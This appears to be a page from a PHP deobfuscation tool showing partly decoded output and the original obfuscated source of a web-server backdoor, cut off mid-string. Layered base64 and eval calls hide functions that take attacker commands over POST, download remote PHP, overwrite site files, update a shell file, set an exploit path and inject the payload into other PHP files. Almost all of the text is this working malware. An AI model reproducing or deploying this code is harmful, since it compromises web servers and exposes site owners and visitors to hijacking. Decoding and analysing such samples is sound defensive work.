$RF413F06AEBBCEF5E1C8B1019DEE6FE6B); if(is_array($R2322221D09E72D62CE8923BF936F088E) && $R2322221D09E72D62CE8923BF936F088E[0] == 'upd'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FF97A1D7A5B771B21D423C3A9D78408C1(str_replace('_', '.', $R2322221D09E72D62CE8923BF936F088E[1])); die; }elseif(is_array($R2322221D09E72D62CE8923BF936F088E) && $R2322221D09E72D62CE8923BF936F088E[0] == 'cl'){ $_GET['cl'] = str_replace('_', '.', $R2322221D09E72D62CE8923BF936F088E[1]); echo gml(); die; } } $RC4A5B5E310ED4C323E04D72AFAE39F53 = 0; $R3CB9CDAED257453CFA56B9EF81B44C57 = 0; foreach($_POST as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ if(get_magic_quotes_gpc()){$R244F38266C59587D696AEC08A771B803 = stripslashes($R244F38266C59587D696AEC08A771B803);} if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'upd'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FF97A1D7A5B771B21D423C3A9D78408C1($R244F38266C59587D696AEC08A771B803); die; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'cl'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); $_GET['cl'] = $R244F38266C59587D696AEC08A771B803; echo gml(); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'fix'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F71DA877DFCADECBA440EA94159D9D8EE($GLOBALS['dgfxp'], 0); die("<hr><b>dgok</b>"); }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgu'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FE30C005A9ED2D1D7195DD8485C71E92C($R244F38266C59587D696AEC08A771B803); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgs'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FFD4CA0987278D9E3EB7B6EC51C59C6E8(); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgr'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgdr'], $GLOBALS['dgij'], 0, 0); if($GLOBALS['dgsp']){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgsp'], $GLOBALS['dgij'], 0, 0); } $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgi'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgdr'], $GLOBALS['dgij'], 1, 0); if($GLOBALS['dgsp']){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgsp'], $GLOBALS['dgij'], 1, 0); } $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'cc'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FE0323A9039ADD2978BF5B49550572C7C(); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'ins'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FB97FA63C78BC91B5403C77A8CF3A9986(); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgc'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FA795E0B4BF1D4B68AFCB85DB5D3F3924(); echo "<hr>{$GLOBALS['dgopt']['dgid']} - {$GLOBALS['jsv']}"; $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'chp'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F41F51A0DA261A69603A169CEFFBCF7A5($R244F38266C59587D696AEC08A771B803); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'gjs'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); echo implode("", file($GLOBALS['dgcp'].$GLOBALS['dgin'])); $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgp'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); echo $GLOBALS['dgcp'].$GLOBALS['dgin'] . "\n<hr>" . filesize($GLOBALS['dgcp'].$GLOBALS['dgin']) . "\n<hr>{$GLOBALS['dgopt']['dgid']}\n<hr><b>dgok</b>"; $R3CB9CDAED257453CFA56B9EF81B44C57 = 1; }elseif($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'clc'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); if(file_exists($GLOBALS['dglf'])){ if(unlink($GLOBALS['dglf'])){ die("counter cleared<hr><b>dgok</b>"); }else{ die("failed to clear counter<hr><b>dgok</b>"); } }else{ die("counter file not found<hr><b>dgok</b>"); } } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgurl'){ $GLOBALS['dgopt']['dgurl'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgsu'){ $GLOBALS['dgopt']['dgsu'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'tt'){ $GLOBALS['dgopt']['tt'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'kd'){ $GLOBALS['dgopt']['kd'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'prl'){ F76E267E7EFA24CD6D9442CF42AFA20CB(); $GLOBALS['dgopt']['prl'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'sp'){ $GLOBALS['dgopt']['sp'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'st'){ $GLOBALS['dgopt']['st'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'ct'){ $GLOBALS['dgopt']['ct'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'markov'){ $GLOBALS['dgopt']['markov'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dgblo'){ $GLOBALS['dgopt']['dgblo'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'frb'){ $GLOBALS['dgopt']['frb'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'ml'){ $GLOBALS['dgopt']['ml'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'dguh'){ $GLOBALS['dgopt']['dguh'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'qr'){ $GLOBALS['dgopt']['qr'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'fr'){ $GLOBALS['dgopt']['fr'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } if($RF413F06AEBBCEF5E1C8B1019DEE6FE6B == 'theme'){ $GLOBALS['dgopt']['theme'] = $R244F38266C59587D696AEC08A771B803; $RC4A5B5E310ED4C323E04D72AFAE39F53 = 1; } } if($RC4A5B5E310ED4C323E04D72AFAE39F53){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FABF1F9768353B2564B5460F178C4F1CB(); die("<hr><b>dgok</b>"); } if($R3CB9CDAED257453CFA56B9EF81B44C57){ die("<hr><b>dgok</b>"); } } if($GLOBALS['dgopt']['dgsr']){ F5FB5D6BE8E06506205DFB12338D59576(F958DF7C20793CDCE049E2A0436B3498D(0)); }'));

Did this file decode correctly?

Original Code

 <?php eval(base64_decode('eval(base64_decode('ZnVuY3Rpb24gRkY5N0ExRDdBNUI3NzFCMjFENDIzQzNBOUQ3ODQwOEMxKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ2NwJ10uJEdMT0JBTFNbJ2RnaW4nXSkpe3JldHVybjt9ICRSREFEOEQ0MEVCOTkwNkNBQjM1Q0NCMzhERTQxQ0I3RUYgPSBGRkQ0NTY0MDY3NDVEODE2QTQ1Q0FFNTU0Qzc4OEU3NTQoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1MywgMTgwLCAkUkY4OUY1MThFNDBGRjUzQjRGRDJBN0QyNDQwMDkwRDYzKTsgRkUxOUE3RkFCMEY5NTk3RTY4RTIzMzExQkI1RkI0NjBGKCRSREFEOEQ0MEVCOTkwNkNBQjM1Q0NCMzhERTQxQ0I3RUYpOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iZG93bmxvYWRlZCBwaHAgc2l6ZTogIi5zdHJsZW4oJFJEQUQ4RDQwRUI5OTA2Q0FCMzVDQ0IzOERFNDFDQjdFRikuIjxicj4iOyB9IGlmKCFGN0MyM0FBMTMxODIyRjc3QTMxQkM4NDkyRDlBN0NFMDAoJFJEQUQ4RDQwRUI5OTA2Q0FCMzVDQ0IzOERFNDFDQjdFRiwgJyRHTE9CQUxTW1wnZGdjcFwnXSA9ICInLCAnIjsnLCAkR0xPQkFMU1snZGdjcCddKSl7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAiPGIgc3R5bGU9XCJjb2xvcjpyZWRcIj5mYWlsZWQgdG8gc2V0IHBhdGg8L2I+PGJyPls0NDg4MzI3OV0iOyB9IGRpZSgpOyB9IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT1cImNvbG9yOmdyZWVuXCI+cGF0aCBzZXQgdG8geyRHTE9CQUxTWydkZ2NwJ119PC9iPjxicj5bNTQ4Mjc0NV08YnI+IjsgfSBpZighRjdDMjNBQTEzMTgyMkY3N0EzMUJDODQ5MkQ5QTdDRTAwKCRSREFEOEQ0MEVCOTkwNkNBQjM1Q0NCMzhERTQxQ0I3RUYsICckR0xPQkFMU1tcJ2RnaW5cJ10gPSAiJywgJyI7JywgJEdMT0JBTFNbJ2RnaW4nXSkpeyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIjxiIHN0eWxlPVwiY29sb3I6cmVkXCI+ZmFpbGVkIHRvIHNldCBuYW1lPC9iPjxicj5bNTg4MTkxNTJdIjsgfSBkaWUoKTsgfSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iPGIgc3R5bGU9XCJjb2xvcjpncmVlblwiPm5hbWUgc2V0IHRvIHskR0xPQkFMU1snZGdpbiddfTwvYj48YnI+WzIyNDY4NzZdPGJyPiI7IH0gaWYoIUY3QzIzQUExMzE4MjJGNzdBMzFCQzg0OTJEOUE3Q0UwMCgkUkRBRDhENDBFQjk5MDZDQUIzNUNDQjM4REU0MUNCN0VGLCAnJEdMT0JBTFNbXCdkZ2VwXCddID0gIicsICciOycsICRHTE9CQUxTWydkZ2VwJ10pKXsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICI8YiBzdHlsZT1cImNvbG9yOnJlZFwiPmZhaWxlZCB0byBzZXQgcGF0aCB0byBleHBsb2l0PC9iPjxicj5bNTA5MzcxM10iOyB9IGRpZSgpOyB9IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT1cImNvbG9yOmdyZWVuXCI+cGF0aCB0byBleHBsb2l0IHN1Y2Nlc3NmdWxseSBzZXQgdG8geyRHTE9CQUxTWydkZ2VwJ119PC9iPjxicj5bODc5OTEwMl08YnI+IjsgfSBpZighRjdDMjNBQTEzMTgyMkY3N0EzMUJDODQ5MkQ5QTdDRTAwKCRSREFEOEQ0MEVCOTkwNkNBQjM1Q0NCMzhERTQxQ0I3RUYsICckR0xPQkFMU1tcJ2Rnc3BcJ10gPSAiJywgJyI7JywgJEdMT0JBTFNbJ2Rnc3AnXSkpeyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIjxiIHN0eWxlPVwiY29sb3I6cmVkXCI+ZmFpbGVkIHRvIHNldCByZWxhdGl2ZSByb290IGRpcjwvYj48YnI+WzU4ODE5MTUyXSI7IH0gZGllKCk7IH0gaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvIjxiIHN0eWxlPVwiY29sb3I6Z3JlZW5cIj5yZWxhdGl2ZSByb290IGRpciBzdWNjZXNzZnVsbHkgc2V0IHskR0xPQkFMU1snZGdzcCddfTwvYj48YnI+WzU4OTMzMDFdPGJyPiI7IH0gaWYoIUY3QzIzQUExMzE4MjJGNzdBMzFCQzg0OTJEOUE3Q0UwMCgkUkRBRDhENDBFQjk5MDZDQUIzNUNDQjM4REU0MUNCN0VGLCAnJEdMT0JBTFNbXCdkZ2Z4cFwnXSA9ICInLCAnIjsnLCAkR0xPQkFMU1snZGdmeHAnXSkpeyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIjxiIHN0eWxlPVwiY29sb3I6cmVkXCI+ZmFpbGVkIHRvIHNldCBwYXRoIHRvIGZpeCBmaWxlPC9iPjxicj5bOTQ3NzEyNF0iOyB9IGRpZSgpOyB9IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT1cImNvbG9yOmdyZWVuXCI+cGF0aCB0byB0aGUgZmlsZSBmb3IgZml4IHN1Y2Nlc3NmdWxseSBzZXQgeyRHTE9CQUxTWydkZ2Z4cCddfTwvYj48YnI+WzUwMTg4NDNdPGJyPiI7IH0gJFJDRkZBRTc0MkZCNEU3MjQ1NzEwNDE3NzlBMTBFRkRBOSA9IEZDRTVGRTc2MUZFMzYyMjA0NThGQUU2NTFBRUFCRjZEOSgkUkRBRDhENDBFQjk5MDZDQUIzNUNDQjM4REU0MUNCN0VGKTsgJFJFNDc3MjU1QTg1MDdBNTRFNUNBNTZDQTI0MjEwQjdEQiA9IHN0cnZhbChzdHJsZW4oJFJDRkZBRTc0MkZCNEU3MjQ1NzEwNDE3NzlBMTBFRkRBOSkpOyB3aGlsZShzdHJsZW4oJFJFNDc3MjU1QTg1MDdBNTRFNUNBNTZDQTI0MjEwQjdEQikgPCA3KXskUkU0NzcyNTVBODUwN0E1NEU1Q0E1NkNBMjQyMTBCN0RCID0gJzAnIC4gJFJFNDc3MjU1QTg1MDdBNTRFNUNBNTZDQTI0MjEwQjdEQjt9IGlmKCFGN0MyM0FBMTMxODIyRjc3QTMxQkM4NDkyRDlBN0NFMDAoJFJEQUQ4RDQwRUI5OTA2Q0FCMzVDQ0IzOERFNDFDQjdFRiwgJyIwMCcuJzAnLCAnIjsnLCAkUkU0NzcyNTVBODUwN0E1NEU1Q0E1NkNBMjQyMTBCN0RCKSl7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAiPGIgc3R5bGU9XCJjb2xvcjpyZWRcIj5mYWlsZWQgdG8gc2V0IHNpemU8L2I+PGJyPls4NjYxMjkzNV0iOyB9IGRpZSgpOyB9ICRSQ0ZGQUU3NDJGQjRFNzI0NTcxMDQxNzc5QTEwRUZEQTkgPSBGQ0U1RkU3NjFGRTM2MjIwNDU4RkFFNjUxQUVBQkY2RDkoJFJEQUQ4RDQwRUI5OTA2Q0FCMzVDQ0IzOERFNDFDQjdFRik7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyJteSBwYWNrZWQgc2l6ZTogJFJFNDc3MjU1QTg1MDdBNTRFNUNBNTZDQTI0MjEwQjdEQjxicj4iOyB9IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGdjcCddLiRHTE9CQUxTWydkZ2luJ10sICRSQ0ZGQUU3NDJGQjRFNzI0NTcxMDQxNzc5QTEwRUZEQTksICI8YiBzdHlsZT1cImNvbG9yOmdyZWVuXCI+eyRHTE9CQUxTWydkZ2NwJ119eyRHTE9CQUxTWydkZ2luJ119PC9iPjxicj4iLCAxLCAkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICI8aDM+SU5KRUNUSU5HIFBIUCBGSUxFUzwvaDM+IjsgfSBGMDEyRDY5QUM1Q0U5RUQ2QzJFQzVERjE2MDlDQTUxQzQoJEdMT0JBTFNbJ2RnZHInXSwgJEdMT0JBTFNbJ2RnaWonXSwgMSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7IGlmKCRHTE9CQUxTWydkZ3NwJ10peyBGMDEyRDY5QUM1Q0U5RUQ2QzJFQzVERjE2MDlDQTUxQzQoJEdMT0JBTFNbJ2Rnc3AnXSwgJEdMT0JBTFNbJ2RnaWonXSwgMSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7IH0gaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICI8aHI+PGI+ZGdvazwvYj4iOyB9fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkUzMEMwMDVBOUVEMkQxRDcxOTVERDg0ODVDNzFFOTJDKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ2RmJ10pKXtyZXR1cm47fSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gInVwZGF0aW5nIGdvb3JnZW4gZnJvbTogIi4kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzLiI8YnI+IjsgfSAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCID0gRkZENDU2NDA2NzQ1RDgxNkE0NUNBRTU1NEM3ODhFNzU0KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsIDE4MCwgJFJGODlGNTE4RTQwRkY1M0I0RkQyQTdEMjQ0MDA5MEQ2Myk7IEZFMTlBN0ZBQjBGOTU5N0U2OEUyMzMxMUJCNUZCNDYwRigkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCKTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvImRvd25sb2FkZWQgcGhwIHNpemU6ICIuc3RybGVuKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIpLiI8YnI+IjsgfSBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJEdMT0JBTFNbJ2RnZGYnXSwgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiwgImZpbGUgeyRHTE9CQUxTWydkZ2RmJ119IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5Li4uPGJyPiIsIDEsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpO30='));eval(base64_decode('ZnVuY3Rpb24gRjZCQjk0QjYyNzgwNTNFODFENjdCQjcxMjk3MkREQUE0KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ2ZmJ10pKXtyZXR1cm47fSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gInVwZGF0aW5nIGdvb3JnZW4gZnJvbTogIi4kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzLiI8YnI+IjsgfSAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCID0gRkZENDU2NDA2NzQ1RDgxNkE0NUNBRTU1NEM3ODhFNzU0KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsIDE4MCwgJFJGODlGNTE4RTQwRkY1M0I0RkQyQTdEMjQ0MDA5MEQ2Myk7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyJkb3dubG9hZGVkIHN3ZiBzaXplOiAiLnN0cmxlbigkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCKS4iPGJyPiI7IH0gRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRHTE9CQUxTWydkZ2ZmJ10sICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICJmaWxlIHskR0xPQkFMU1snZGdmZiddfSB1cGRhdGVkIHN1Y2Nlc3NmdWxseS4uLjxicj4iLCAxLCAkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKTt9'));eval(base64_decode('ZnVuY3Rpb24gRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpeyAkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCID0gZm9wZW4oJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCwgImEiKTsgaWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qil7IGZjbG9zZSgkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTsgcmV0dXJuIHRydWU7IH1lbHNleyByZXR1cm4gZmFsc2U7IH19'));eval(base64_decode('ZnVuY3Rpb24gRjgzQzgyMzE5Qzc5RTk1N0Y3ODUxQ0RFNDhGNDhEQjNFKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ3NmJ10pKXtyZXR1cm47fSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gInVwZGF0aW5nIHNobCBmcm9tOiAiLiRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMuIjxicj4iOyB9ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSBGRkQ0NTY0MDY3NDVEODE2QTQ1Q0FFNTU0Qzc4OEU3NTQoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1MywgMTgwLCAkUkY4OUY1MThFNDBGRjUzQjRGRDJBN0QyNDQwMDkwRDYzKTsgRkUxOUE3RkFCMEY5NTk3RTY4RTIzMzExQkI1RkI0NjBGKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIpOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iZG93bmxvYWRlZCBwaHAgc2l6ZTogIi5zdHJsZW4oJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQikuIjxicj4iOyB9IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGdzZiddLCAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAiZmlsZSB7JEdMT0JBTFNbJ2Rnc2YnXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjA5QzIyNkU4QzlFRkM5NkQ4Q0M2QjFERTQ5RTBDQ0U2KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRHTE9CQUxTWydkZ3NrZiddKSl7cmV0dXJuO30gaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICJ1cGRhdGluZyBzayBmcm9tOiAiLiRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMuIjxicj4iOyB9ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSAnICcgLiB0cmltKEZGRDQ1NjQwNjc0NUQ4MTZBNDVDQUU1NTRDNzg4RTc1NCgkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzLCAxODAsICRSRjg5RjUxOEU0MEZGNTNCNEZEMkE3RDI0NDAwOTBENjMpKTsgJFIyQTAzOUVEOEZEQkY0Q0VBQTlFNzlDREMzQUVDRDFBMiA9IHN0cnBvcygkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAnPj4+Pj4+PicpOyBpZigkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyID4gMCl7JFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiA9IHRyaW0oc3Vic3RyKCRSOURCOUUxMDNFO